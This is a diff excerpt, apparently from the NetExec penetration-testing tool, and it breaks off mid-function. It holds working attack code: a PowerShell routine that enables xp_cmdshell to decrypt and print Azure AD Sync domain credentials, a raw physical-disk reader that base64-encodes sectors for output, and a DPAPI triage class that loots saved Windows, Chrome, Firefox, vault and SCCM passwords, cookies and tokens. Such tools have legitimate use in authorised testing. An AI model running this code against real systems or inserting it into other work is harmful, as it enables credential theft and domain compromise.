$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key = `$null;`$km.GetActiveCredentialKey([ref]`$key);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
|
||||
$reader = $cmd.ExecuteReader()
|
||||
|
||||
$decrypted = [string]::Empty
|
||||
|
||||
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
|
||||
$decrypted += $reader.GetString(0)
|
||||
}
|
||||
|
||||
if ($decrypted -eq [string]::Empty) {
|
||||
Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
|
||||
return
|
||||
}
|
||||
|
||||
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
|
||||
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
|
||||
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
|
||||
|
||||
Write-Host "Domain: $($domain.Domain)"
|
||||
Write-Host "Username: $($username.Username)"
|
||||
Write-Host "Password: $($password.Password)"
|
||||
@@ -0,0 +1,95 @@
|
||||
Add-Type -TypeDefinition @"
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using Microsoft.Win32.SafeHandles;
|
||||
|
||||
public class CNativeMethods
|
||||
{
|
||||
public const uint GENERIC_READ = 0x80000000;
|
||||
public const uint OPEN_EXISTING = 3;
|
||||
public const uint FILE_SHARE_READ = 0x00000001;
|
||||
public const uint FILE_SHARE_WRITE = 0x00000002;
|
||||
public const uint FILE_SHARE_DELETE = 0x00000004;
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
public static extern SafeFileHandle CreateFile(
|
||||
string lpFileName,
|
||||
uint dwDesiredAccess,
|
||||
uint dwShareMode,
|
||||
IntPtr lpSecurityAttributes,
|
||||
uint dwCreationDisposition,
|
||||
uint dwFlagsAndAttributes,
|
||||
IntPtr hTemplateFile
|
||||
);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool ReadFile(
|
||||
SafeFileHandle hFile,
|
||||
byte[] lpBuffer,
|
||||
uint nNumberOfBytesToRead,
|
||||
out uint lpNumberOfBytesRead,
|
||||
IntPtr lpOverlapped
|
||||
);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool SetFilePointerEx(
|
||||
SafeFileHandle hFile,
|
||||
long lDistanceToMove,
|
||||
out long lpNewFilePointer,
|
||||
uint dwMoveMethod
|
||||
);
|
||||
}
|
||||
|
||||
public enum EMoveMethod : uint
|
||||
{
|
||||
Begin = 0,
|
||||
Current = 1,
|
||||
End = 2
|
||||
}
|
||||
"@
|
||||
Function read_disk{
|
||||
$offset = [long]$args[0]
|
||||
$size = [int]$args[1]
|
||||
try {
|
||||
$handle = [CNativeMethods]::CreateFile("\\.\PHYSICALDRIVE0",
|
||||
[CNativeMethods]::GENERIC_READ,
|
||||
[CNativeMethods]::FILE_SHARE_READ -bor [CNativeMethods]::FILE_SHARE_WRITE -bor [CNativeMethods]::FILE_SHARE_DELETE,
|
||||
[IntPtr]::Zero, [CNativeMethods]::OPEN_EXISTING, 0, [IntPtr]::Zero)
|
||||
|
||||
if ($handle.IsInvalid) {
|
||||
throw "Failed to create file handle"
|
||||
}
|
||||
|
||||
$moveToHigh = 0
|
||||
$success = [CNativeMethods]::SetFilePointerEx($handle, $offset, [ref]$moveToHigh, [EMoveMethod]::Begin)
|
||||
if (-not $success) {
|
||||
throw "Failed to set file pointer"
|
||||
}
|
||||
|
||||
$buffer = New-Object byte[] $size
|
||||
$bytesRead = 0
|
||||
$success = [CNativeMethods]::ReadFile($handle, $buffer, $size, [ref]$bytesRead, [IntPtr]::Zero)
|
||||
|
||||
if (-not $success) {
|
||||
throw "Failed to read file"
|
||||
}
|
||||
|
||||
$memoryStream = New-Object System.IO.MemoryStream
|
||||
$gzipStream = New-Object System.IO.Compression.GzipStream($memoryStream, [System.IO.Compression.CompressionMode]::Compress)
|
||||
$gzipStream.Write($buffer, 0, $buffer.Length)
|
||||
$gzipStream.Close()
|
||||
|
||||
$compressedBytes = $memoryStream.ToArray()
|
||||
$compressedBase64 = [Convert]::ToBase64String($compressedBytes)
|
||||
|
||||
Write-Output $compressedBase64
|
||||
} catch {
|
||||
Write-Error "An error occurred: $_"
|
||||
}
|
||||
|
||||
finally {
|
||||
if ($handle -and !$handle.IsInvalid) {
|
||||
$handle.Close()
|
||||
}
|
||||
}
|
||||
}
|
||||
+7
-1
@@ -5,8 +5,11 @@ pwn3d_label = Pwn3d!
|
||||
audit_mode =
|
||||
reveal_chars_of_pwd = 0
|
||||
log_mode = False
|
||||
ignore_opsec = True
|
||||
host_info_colors = ["green", "red", "yellow", "cyan"]
|
||||
check_guest_account = False
|
||||
display_dc = True
|
||||
skip_self = False
|
||||
exclude_hosts = []
|
||||
|
||||
[BloodHound]
|
||||
bh_enabled = False
|
||||
@@ -15,6 +18,9 @@ bh_port = 7687
|
||||
bh_user = neo4j
|
||||
bh_pass = bloodhoundcommunityedition
|
||||
|
||||
[BloodHound-CE]
|
||||
bhce_enabled = True
|
||||
|
||||
[Empire]
|
||||
api_host = 127.0.0.1
|
||||
api_port = 1337
|
||||
|
||||
Binary file not shown.
+61
-25
@@ -1,18 +1,21 @@
|
||||
import configparser
|
||||
import ipaddress
|
||||
import platform
|
||||
import shutil
|
||||
import sys
|
||||
from os import mkdir
|
||||
from os.path import exists
|
||||
from os.path import join as path_join
|
||||
from pathlib import Path
|
||||
from sqlite3 import connect
|
||||
from threading import Lock
|
||||
|
||||
from sqlalchemy import create_engine, MetaData, func
|
||||
from sqlalchemy.exc import IllegalStateChangeError
|
||||
from sqlalchemy import Table, create_engine, MetaData, func
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
|
||||
from nxc.loaders.protocolloader import ProtocolLoader
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.paths import WORKSPACE_DIR
|
||||
@@ -57,25 +60,15 @@ def init_protocol_dbs(workspace_name, p_loader=None):
|
||||
if p_loader is None:
|
||||
p_loader = ProtocolLoader()
|
||||
protocols = p_loader.get_protocols()
|
||||
|
||||
for protocol in protocols:
|
||||
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
|
||||
proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
|
||||
|
||||
if not exists(proto_db_path):
|
||||
print(f"[*] Initializing {protocol.upper()} protocol database")
|
||||
conn = connect(proto_db_path)
|
||||
c = conn.cursor()
|
||||
|
||||
# try to prevent some weird sqlite I/O errors
|
||||
c.execute("PRAGMA journal_mode = OFF")
|
||||
c.execute("PRAGMA foreign_keys = 1")
|
||||
|
||||
protocol_object.database.db_schema(c)
|
||||
|
||||
# commit the changes and close everything off
|
||||
conn.commit()
|
||||
conn.close()
|
||||
db_engine = create_db_engine(proto_db_path)
|
||||
protocol_object.database.db_schema(db_engine)
|
||||
db_engine.dispose()
|
||||
|
||||
|
||||
def create_workspace(workspace_name, p_loader=None):
|
||||
@@ -110,7 +103,8 @@ def initialize_db():
|
||||
|
||||
# Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol)
|
||||
init_protocol_dbs("default")
|
||||
|
||||
|
||||
|
||||
def format_host_query(q, filter_term, HostsTable):
|
||||
"""One annoying thing is that if you search for an ip such as '10.10.10.5',
|
||||
it will return 10.10.10.5 and 10.10.10.52, so we have to check if its an ip address first
|
||||
@@ -126,8 +120,8 @@ def format_host_query(q, filter_term, HostsTable):
|
||||
else:
|
||||
nxc_logger.debug("Neither 'ip' nor 'host' columns found in the table")
|
||||
return q
|
||||
|
||||
# first we check if its an ip address
|
||||
|
||||
# first we check if its an ip address
|
||||
try:
|
||||
ipaddress.ip_address(filter_term)
|
||||
nxc_logger.debug(f"filter_term is an IP address: {filter_term}")
|
||||
@@ -135,12 +129,13 @@ def format_host_query(q, filter_term, HostsTable):
|
||||
except ValueError:
|
||||
nxc_logger.debug(f"filter_term is not an IP address: {filter_term}")
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
|
||||
|
||||
# check if the hostname column exists for hostname searching
|
||||
q = q.filter(ip_column.like(like_term) | func.lower(HostsTable.c.hostname).like(like_term)) if hasattr(HostsTable.c, "hostname") else q.filter(ip_column.like(like_term))
|
||||
|
||||
return q
|
||||
|
||||
|
||||
class BaseDB:
|
||||
def __init__(self, db_engine):
|
||||
self.db_engine = db_engine
|
||||
@@ -157,6 +152,44 @@ class BaseDB:
|
||||
def reflect_tables(self):
|
||||
raise NotImplementedError("Reflect tables not implemented")
|
||||
|
||||
def reflect_table(self, table):
|
||||
with self.db_engine.connect():
|
||||
try:
|
||||
reflected_table = Table(table.__tablename__, self.metadata, autoload_with=self.db_engine)
|
||||
|
||||
# Check for column addition / deletion
|
||||
reflected_columns = set(reflected_table.columns.keys())
|
||||
orm_columns = {column.name for column in table.__table__.columns}
|
||||
if reflected_columns != orm_columns:
|
||||
raise ValueError(f"Schema mismatch detected! ORM columns: {orm_columns}, Reflected columns: {reflected_columns}")
|
||||
|
||||
# Check for constraint changes
|
||||
reflected_constraints = [(type(c), c.columns.keys()) for c in reflected_table._sorted_constraints]
|
||||
orm_constraints = [(type(c), c.columns.keys()) for c in table.__table__._sorted_constraints]
|
||||
if reflected_constraints != orm_constraints:
|
||||
raise ValueError(f"Schema mismatch detected! ORM constraints: {orm_constraints}, Reflected constraints: {reflected_constraints}")
|
||||
|
||||
return reflected_table
|
||||
except (NoInspectionAvailable, NoSuchTableError, ValueError) as e:
|
||||
commands_platform = {
|
||||
"Windows": [
|
||||
f"cmd /c copy {self.db_path} %USERPROFILE%\\nxc_{self.protocol.lower()}.bak",
|
||||
f"del {self.db_path}"
|
||||
],
|
||||
"Linux": [
|
||||
f"cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak",
|
||||
f"rm -f {self.db_path}"
|
||||
]
|
||||
}
|
||||
copy_command = commands_platform["Windows"][0] if platform.system() == "Windows" else commands_platform["Linux"][0]
|
||||
delete_command = commands_platform["Windows"][1] if platform.system() == "Windows" else commands_platform["Linux"][1]
|
||||
nxc_logger.fail(f"Schema mismatch detected for table '{table.__tablename__}' in protocol '{self.protocol}'")
|
||||
nxc_logger.debug(e)
|
||||
nxc_logger.fail("This is probably because a newer version of nxc is being run on an old DB schema.")
|
||||
nxc_logger.fail(f"Optionally save the old DB data (`{copy_command}`)")
|
||||
nxc_logger.fail(f"Then remove the {self.protocol} DB (`{delete_command}`) and run nxc to initialize the new DB")
|
||||
sys.exit()
|
||||
|
||||
def shutdown_db(self):
|
||||
try:
|
||||
self.sess.close()
|
||||
@@ -171,7 +204,10 @@ class BaseDB:
|
||||
self.db_execute(table.delete())
|
||||
|
||||
def db_execute(self, *args):
|
||||
self.lock.acquire()
|
||||
res = self.sess.execute(*args)
|
||||
self.lock.release()
|
||||
return res
|
||||
with self.lock:
|
||||
res = self.sess.execute(*args)
|
||||
return res.freeze()() if res.returns_rows else res
|
||||
|
||||
def get_keys(self, key_id=None, cred_id=None):
|
||||
"""Return an empty list by default. Protocols that support keys (e.g. SSH) override this."""
|
||||
return []
|
||||
+2
-8
@@ -8,18 +8,16 @@ from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
def first_run_setup(logger=nxc_logger):
|
||||
if not exists(TMP_PATH):
|
||||
mkdir(TMP_PATH)
|
||||
|
||||
if not exists(NXC_PATH):
|
||||
logger.display("First time use detected")
|
||||
logger.display("Creating home directory structure")
|
||||
mkdir(NXC_PATH)
|
||||
if not exists(TMP_PATH):
|
||||
mkdir(TMP_PATH)
|
||||
|
||||
folders = (
|
||||
"logs",
|
||||
"modules",
|
||||
"protocols",
|
||||
"workspaces",
|
||||
"obfuscated_scripts",
|
||||
"screenshots",
|
||||
@@ -46,7 +44,3 @@ def first_run_setup(logger=nxc_logger):
|
||||
logger.display("Copying default configuration file")
|
||||
default_path = path_join(DATA_PATH, "nxc.conf")
|
||||
shutil.copy(default_path, NXC_PATH)
|
||||
|
||||
# if not exists(CERT_PATH):
|
||||
# if os.name != 'nt':
|
||||
# if e.errno == errno.ENOENT:
|
||||
@@ -1,6 +1,7 @@
|
||||
from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
|
||||
from argparse import Action
|
||||
|
||||
|
||||
class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
|
||||
def _get_help_string(self, action):
|
||||
help_string = action.help
|
||||
@@ -23,3 +24,18 @@ class DefaultTrackingAction(Action):
|
||||
# Set an attribute to track whether the value was explicitly set
|
||||
setattr(namespace, self.dest, values)
|
||||
setattr(namespace, f"{self.dest}_explicitly_set", True)
|
||||
|
||||
|
||||
def get_conditional_action(baseAction):
|
||||
class ConditionalAction(baseAction):
|
||||
def __init__(self, option_strings, dest, **kwargs):
|
||||
x = kwargs.pop("make_required", [])
|
||||
super().__init__(option_strings, dest, **kwargs)
|
||||
self.make_required = x
|
||||
|
||||
def __call__(self, parser, namespace, values, option_string=None):
|
||||
for x in self.make_required:
|
||||
x.required = True
|
||||
super().__call__(parser, namespace, values, option_string)
|
||||
|
||||
return ConditionalAction
|
||||
@@ -0,0 +1,461 @@
|
||||
|
||||
from dploot.lib.network.smb import SMBTarget, DPLootSMBConnection
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.backupkey import BackupkeyTriage
|
||||
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
|
||||
from dploot.triage.cng import CngTriage
|
||||
from dploot.triage.credentials import CredentialsTriage
|
||||
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file, Masterkey
|
||||
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
|
||||
from dploot.triage.vaults import VaultsTriage
|
||||
|
||||
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
from nxc.helpers.logger import highlight
|
||||
|
||||
|
||||
def upgrade_to_dploot_connection(target, connection):
|
||||
"""
|
||||
DPLootConnection classes implements a whole lot of stuff to handle the DPAPI part.
|
||||
This function gets the calling NXC protocol and tries reuse the already opened connection
|
||||
on DPLoot directly. If not it opens up a new connection.
|
||||
"""
|
||||
conn = None
|
||||
protocol = target.protocol
|
||||
try:
|
||||
match protocol:
|
||||
case "smb":
|
||||
from dploot.lib.network.smb import DPLootSMBConnection
|
||||
conn = DPLootSMBConnection(target)
|
||||
if connection is not None:
|
||||
conn.smb_session = connection.conn
|
||||
else:
|
||||
conn.connect()
|
||||
case "wmi":
|
||||
from dploot.lib.network.wmi import DPLootWMIConnection
|
||||
conn = DPLootWMIConnection(target)
|
||||
if connection is not None:
|
||||
conn.dcom = connection.dcom_conn
|
||||
conn.iWbemLevel1Login = connection.iWbemLevel1Login
|
||||
else:
|
||||
conn.connect()
|
||||
case "winrm":
|
||||
from dploot.lib.network.winrm import DPLootWINRMConnection
|
||||
conn = DPLootWINRMConnection(target)
|
||||
if connection is not None:
|
||||
conn.conn = connection.conn
|
||||
else:
|
||||
conn.connect()
|
||||
case "mssql":
|
||||
from dploot.lib.network.mssql import DPLootMSSQLConnection
|
||||
conn = DPLootMSSQLConnection(target)
|
||||
if connection is not None:
|
||||
conn.conn = connection.conn
|
||||
except Exception as e:
|
||||
connection.logger.debug(e)
|
||||
return None
|
||||
|
||||
return conn
|
||||
|
||||
|
||||
class DPAPITriage:
|
||||
"""
|
||||
DPAPI engine in NetExec. Each protocol supporting DPAPI needs to implement this class.
|
||||
Since multiple NXC functionalities now implements DPAPI related secret recovery, this class aims to centralize
|
||||
it in order to ease implemented and maintaining DPAPI functionalities is NXC protocols, but also
|
||||
to avoid dumping masterkeys X times from the same target, loading the domain backup keys X times, etc.
|
||||
|
||||
To implement this class in a protocol, use a @property decorator on dpapi_triage like so:
|
||||
|
||||
```
|
||||
@property
|
||||
def dpapi_triage(self) -> DPAPITriage:
|
||||
if self._dpapi_triage is not None:
|
||||
return self._dpapi_triage
|
||||
target = <dploot target creation>
|
||||
|
||||
self._dpapi_triage = DPAPITriage(self, target)
|
||||
return self._dpapi_triage
|
||||
```
|
||||
|
||||
This way, every DPAPI related module will automaticaly work with the protocol
|
||||
|
||||
"""
|
||||
def __init__(self, connection, target: Target):
|
||||
self.connection = connection
|
||||
self.target = target
|
||||
|
||||
self.conn = None
|
||||
self.dump_cookies = False
|
||||
self.masterkeys = []
|
||||
self._pvkbytes = None
|
||||
|
||||
# Keep track of writing secrets in file
|
||||
self.output_file = self.connection.output_file_template.format(output_folder="dpapi")
|
||||
self.secrets_counter = 0
|
||||
|
||||
if connection.args.dpapi is not None:
|
||||
self.dump_cookies = "cookies" in connection.args.dpapi
|
||||
|
||||
# Variables to know what materkey types have already been dumped
|
||||
self.system_masterkeys_already_dumped = False
|
||||
self.users_masterkeys_already_dumped = False
|
||||
|
||||
# Initialize the connection here, if you need this class then you will need the connection
|
||||
self.init_connection()
|
||||
|
||||
def __del__(self):
|
||||
# When everything is finished, then we give the feedback to the user
|
||||
if self.output_file is not None and self.secrets_counter > 0:
|
||||
self.connection.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}")
|
||||
|
||||
def log_secret(self, line, logger=None):
|
||||
# Handle the secret counter here, avoid to handle it in multiple places
|
||||
if logger is None:
|
||||
logger = self.connection.logger
|
||||
logger.highlight(line)
|
||||
with open(self.output_file, "a", encoding="utf-8") as fd:
|
||||
self.secrets_counter += 1
|
||||
fd.write(line + "\n")
|
||||
|
||||
def init_connection(self):
|
||||
"""Tries to initiate a DPLootConnection object from a NXC connection"""
|
||||
if self.conn is not None:
|
||||
self.connection.logger.debug("DPLoot connection already initiated, skipping.")
|
||||
return
|
||||
self.conn = upgrade_to_dploot_connection(connection=self.connection, target=self.target)
|
||||
if self.conn is None:
|
||||
self.connection.logger.fail("Could not upgrade connection to allow DPAPI triage")
|
||||
return
|
||||
|
||||
def collect_masterkeys_from_target(self, dump_users: True, dump_system: False):
|
||||
"""
|
||||
Get and decrypt masterkeys from the target.
|
||||
dump_users: If True, then user masterkeys will be collected if they have not already been
|
||||
dump_system: If True, then system masterkeys will be collected if they have not already been
|
||||
"""
|
||||
# If we have already dumped everything, then we won't find new stuff
|
||||
if self.users_masterkeys_already_dumped and self.system_masterkeys_already_dumped:
|
||||
return self.masterkeys
|
||||
|
||||
masterkeys = []
|
||||
plaintexts = {}
|
||||
nthashes = {}
|
||||
|
||||
# First, check and handle the mkfile arg
|
||||
if self.connection.args.mkfile is not None:
|
||||
try:
|
||||
masterkeys += parse_masterkey_file(self.connection.args.mkfile)
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(str(e))
|
||||
|
||||
# Then, use nxcdb to fill wordlists, this can help to decrypt some masterkeys
|
||||
if dump_users:
|
||||
users = self.conn.list_users()
|
||||
plaintexts = {username: password for _, _, username, password, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="plaintext")}
|
||||
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="hash")}
|
||||
# dploot matches user.lower()
|
||||
if self.connection.password != "":
|
||||
plaintexts[self.connection.username.lower()] = self.connection.password
|
||||
if self.connection.nthash != "":
|
||||
nthashes[self.connection.username.lower()] = self.connection.nthash
|
||||
|
||||
# Now prepare the SYSTEM part
|
||||
if (dump_system
|
||||
and self.connection.dpapi_system_key is None
|
||||
and hasattr(self.connection, "lsa")
|
||||
and callable(self.connection.lsa)):
|
||||
# We can use the protocol specific LSA dump if not already dumped.
|
||||
# But first, just making sure the protocol supports LSA dump :)
|
||||
self.connection.logger.display("Dumping LSA secrets to get DPAPI SYSTEM keys")
|
||||
self.connection.lsa(quiet=True)
|
||||
if self.connection.dpapi_system_key is not None:
|
||||
self.connection.logger.highlight(f"dpapi_machinekey:{self.connection.dpapi_system_key['MachineKey'].hex()}")
|
||||
self.connection.logger.highlight(f"dpapi_userkey:{self.connection.dpapi_system_key['UserKey'].hex()}")
|
||||
else:
|
||||
self.connection.logger.fail("Could not get DPAPI SYSTEM keys")
|
||||
|
||||
# Invoke MasterkeyTriage class
|
||||
try:
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=self.target,
|
||||
conn=self.conn,
|
||||
pvkbytes=self.pvkbytes,
|
||||
passwords=plaintexts,
|
||||
nthashes=nthashes,
|
||||
dpapiSystem=self.connection.dpapi_system_key,
|
||||
)
|
||||
self.connection.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
||||
|
||||
# Collect User Masterkeys if this has not already been done
|
||||
if dump_users and not self.users_masterkeys_already_dumped:
|
||||
self.connection.logger.display("Collecting DPAPI Users masterkeys")
|
||||
masterkeys += masterkeys_triage.triage_masterkeys()
|
||||
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
|
||||
self.users_masterkeys_already_dumped = True
|
||||
|
||||
# Collect SYSTEM Masterkeys if this has not already been done
|
||||
if self.connection.dpapi_system_key is not None and not self.system_masterkeys_already_dumped:
|
||||
self.connection.logger.display("Collecting DPAPI SYSTEM masterkeys")
|
||||
masterkeys += masterkeys_triage.triage_system_masterkeys()
|
||||
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
|
||||
self.system_masterkeys_already_dumped = True
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Could not get masterkeys: {e}")
|
||||
self.masterkeys += masterkeys
|
||||
# If we decrypted new masterkeys, print the message
|
||||
if len(masterkeys) > 0:
|
||||
self.connection.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. ")
|
||||
return self.masterkeys
|
||||
|
||||
def triage_credentials(self, masterkeys: list[Masterkey]):
|
||||
# Collect User and Machine Credentials Manager secrets
|
||||
|
||||
def credential_callback(credential):
|
||||
tag = "CREDENTIAL"
|
||||
line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
tag,
|
||||
credential.winuser,
|
||||
credential.username,
|
||||
credential.password,
|
||||
credential.target,
|
||||
)
|
||||
|
||||
try:
|
||||
credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
|
||||
self.connection.logger.debug(f"Credentials Triage Object: {credentials_triage}")
|
||||
credentials_triage.triage_credentials()
|
||||
credentials_triage.triage_system_credentials()
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while looting credentials: {e}")
|
||||
|
||||
def triage_chromium(self, masterkeys: list[Masterkey]):
|
||||
cng_chromekey = None
|
||||
# We need the CNG triage to recover Chrome passwords since Chrome v137
|
||||
try:
|
||||
cng_triage = CngTriage(target=self.target, conn=self.conn, masterkeys=masterkeys)
|
||||
for cng_file in cng_triage.triage_system_cng():
|
||||
if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
|
||||
self.connection.logger.debug("Found CNG Google ChromeKey1\n")
|
||||
cng_chromekey = cng_file.decrypted_private_key
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while getting CNG ChromeKey1: {e}")
|
||||
|
||||
# Collect Chrome Based Browser stored secrets
|
||||
def browser_callback(secret):
|
||||
if isinstance(secret, LoginData):
|
||||
secret_url = secret.url + " -" if secret.url != "" else "-"
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
secret.browser.upper(),
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.url,
|
||||
)
|
||||
elif isinstance(secret, GoogleRefreshToken):
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
secret.browser.upper(),
|
||||
secret.winuser,
|
||||
secret.service,
|
||||
secret.token,
|
||||
"Google Refresh Token",
|
||||
)
|
||||
elif isinstance(secret, Cookie):
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}"
|
||||
self.log_secret(line)
|
||||
|
||||
try:
|
||||
browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
|
||||
browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey)
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while looting browsers: {e}")
|
||||
|
||||
def triage_vaults(self, masterkeys: list[Masterkey]):
|
||||
def vault_callback(secret):
|
||||
tag = "IEX"
|
||||
if secret.type == "Internet Explorer":
|
||||
resource = secret.resource + " -" if secret.resource != "" else "-"
|
||||
line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
tag,
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.resource,
|
||||
)
|
||||
|
||||
try:
|
||||
# Collect User Internet Explorer stored secrets
|
||||
vaults_triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
|
||||
vaults_triage.triage_vaults()
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while looting vaults: {e}")
|
||||
|
||||
def triage_firefox(self):
|
||||
def firefox_callback(secret):
|
||||
tag = "FIREFOX"
|
||||
if isinstance(secret, FirefoxData):
|
||||
url = secret.url + " -" if secret.url != "" else "-"
|
||||
line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
tag,
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.url,
|
||||
)
|
||||
elif isinstance(secret, FirefoxCookie):
|
||||
line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}"
|
||||
self.log_secret(line)
|
||||
|
||||
try:
|
||||
# Collect Firefox stored secrets
|
||||
firefox_triage = FirefoxTriage(target=self.target, logger=self.connection.logger, conn=self.conn, per_secret_callback=firefox_callback)
|
||||
firefox_triage.run(gather_cookies=self.dump_cookies)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting firefox: {e}")
|
||||
|
||||
# The dpapi function for every protocol
|
||||
def triage_dpapi(self):
|
||||
# Load masterkeys
|
||||
masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.connection.args.dpapi)
|
||||
if len(masterkeys) == 0:
|
||||
# Nothing will be recovered if no masterkeys, so we can stop there
|
||||
self.connection.logger.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
self.connection.logger.success("Looting secrets...")
|
||||
|
||||
# Calling all the triage functions. We can add other triage functions here
|
||||
self.triage_credentials(masterkeys)
|
||||
self.triage_chromium(masterkeys)
|
||||
self.triage_vaults(masterkeys)
|
||||
self.triage_firefox()
|
||||
|
||||
def triage_sccm(self):
|
||||
masterkeys = self.collect_masterkeys_from_target(dump_users=False, dump_system=True)
|
||||
if len(masterkeys) == 0:
|
||||
self.connection.logger.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
self.connection.logger.success("Looting SCCM Credentials")
|
||||
|
||||
def sccm_callback(secret):
|
||||
if isinstance(secret, SCCMCred):
|
||||
tag = "NAA Account"
|
||||
line = f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
secret.username.decode("latin-1"),
|
||||
secret.password.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
elif isinstance(secret, SCCMSecret):
|
||||
tag = "Task sequences secret"
|
||||
line = f"[{tag}] {secret.secret.decode('latin-1')}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
"N/A",
|
||||
secret.secret.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
elif isinstance(secret, SCCMCollection):
|
||||
tag = "Collection Variable"
|
||||
line = f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
secret.variable.decode("latin-1"),
|
||||
secret.value.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
try:
